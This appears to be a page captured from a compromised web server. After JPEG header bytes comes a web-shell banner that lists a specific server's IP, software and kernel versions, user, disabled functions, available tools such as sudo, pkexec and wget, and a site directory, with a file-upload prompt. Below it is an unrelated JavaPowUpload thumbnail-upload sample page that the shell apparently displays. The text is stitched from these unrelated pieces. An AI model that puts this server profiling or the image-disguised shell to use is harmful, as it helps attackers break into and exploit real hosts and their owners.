????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.61 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/evacuationplans.astacus.se/login/JavaPowUpload/ |
Upload File : |
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Thumbnails upload example</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
Sample: <b>uploadthumbnails.html</b> <a href="javascript:location.reload(true);"><img border="0" src="images/refresh.png" width="16" height="16"> Refresh frame</a> <a target="_parent" href="index.htm"><img border="0" src="images/home.png" width="16" height="16"> Examples home</a><br/><br/>
<!-- text below wil be shown if JavaScript disabled at browser -->
<span id="noscriptdiv" style="border:1px solid #FF0000;display:block;padding:5px;text-align:left; background: #FDF2F2;color:#000;">Active Scripting (JavaScript) should be enabled in your
browser for this application to function properly!</span>
<script type="text/javascript">
document.getElementById('noscriptdiv').style.visibility = 'hidden';
</script>
This example shows the possibility of image upload and different manipulations with images. A user can see image thumbnails, rotate, crop or resize images before upload.<br>
<br>
For the example you need to specify script URL that accept the files. Open the example in a text editor and specify the property value "Upload.UploadUrl" of JavaPowUpload applet. The value can be:
<ul>
<li>For ASP: <code>FileProcessingScripts/ASP/ClearASP/uploadfiles.asp</code></li>
<li>For PHP : <code>FileProcessingScripts/PHP/uploadfiles.php</code> <strong>(Default script)</strong></li>
<li>For ASP.NET (C Sharp): <code>FileProcessingScripts/ASP.NET/CSharp/uploadfiles.aspx</code></li>
<li>For ASP.NET (VB.NET): <code>FileProcessingScripts/ASP.NET/VBNET/uploadfiles.aspx</code></li>
<li>For Perl : <code>FileProcessingScripts/PERL/uploadfiles.pl</code></li>
<li>For Cold Fusion : <code>FileProcessingScripts/ColdFusion/uploadfiles.cfm</code></li>
<li>For JSP : <code>FileProcessingScripts/JSP/uploadfiles.jsp</code></li>
</ul>
<br><br>
<applet
code="com.elementit.JavaPowUpload.Manager"
archive="lib/JavaPowUpload.jar, lib/skinlf.jar,
lib/commons-logging-1.1.jar,
lib/commons-httpclient-3.1-rc1.jar,
lib/commons-codec-1.3.jar"
width="450"
height="230"
name="JavaPowUpload"
id="JavaPowUpload"
mayscript="true"
alt="JavaPowUpload by www.element-it.com"
VIEWASTEXT>
<!-- Java Plug-In Options -->
<param name="Common.SerialNumber" value="">
<param name="progressbar" value="true">
<param name="boxmessage" value="Loading JavaPowUpload Applet ...">
<!--Enable upload mode -->
<param name="Common.UploadMode" value="true">
<param name="Common.DetailsArea.StartupDeviderLocation" value="0.5">
<!--Enable JavaPowUpload events and functions to use in JavaScript -->
<param name="Common.UseLiveConnect" value="true">
<--Set up thumbnauls settings -->
<param name="Upload.Thumbnails.Height" value="120">
<param name="Upload.Thumbnails.Width" value="160">
<param name="Upload.Thumbnails.Upload" value="true">
<param name="Upload.Thumbnails.Format" value="JPEG">
<param name="Upload.Thumbnails.FilePrefix" value="">
<param name="Upload.Thumbnails.UploadOriginalFile" value="false">
<!--Set url to file processing script -->
<param name="Upload.UploadUrl" value="FileProcessingScripts/PHP/uploadfiles.php">
<param name="Common.SkinLF.ThemepackURL" value="lib/themepack.zip">
<!-- This text will be shown if applet not working or Java not installed-->
<span style="border:1px solid #FF0000;display:block;padding:5px;margin-top:10px;margin-bottom:10px;text-align:left; background: #FDF2F2;color:#000;">You should <b>enable applets</b> running at browser and to have the <b>Java</b> (JRE) version >= 1.5.<br />If applet is not displaying properly, please check <a target="_blank" href="http://java.com/en/download/help/testvm.xml" title="Check Java applets">additional configurations</a></span>
</applet>
<script type="text/javascript">
var uploadedfilescount = 0;
var Java;
window.onload = function() {
InitJavaObj();
}
function InitJavaObj()
{
Java = document.getElementById("JavaPowUpload");
}
function JavaPowUpload_onServerResponse(status, response)
{
//Here we need parse server response
//and find url to uploaded thumbnails
var keyword = 'Url to thumbnail:';
var ind = response.indexOf(keyword,0);
while(ind>=0)
{
url = response.substring(ind+keyword.length+1, response.indexOf('<br>', ind));
addThumbnail(url);
ind = response.indexOf(keyword, ind+keyword.length+1);
}
}
function addThumbnail(source)
{
var Img = document.createElement("img");
Img.style.margin = "5px";
Img.src = source+"?"+(new Date()).getTime();;
document.getElementById("thumbnails").appendChild(Img);
}
</script>
<div id="thumbnails"></div>
<br />
The file uploader doesn’t work? See <a target="_blank" href="http://www.element-it.com/OnlineHelpJavaPowUpload/Troubleshooting.html">here</a> what you need for its proper work.
<br /><br />
</body>
</html>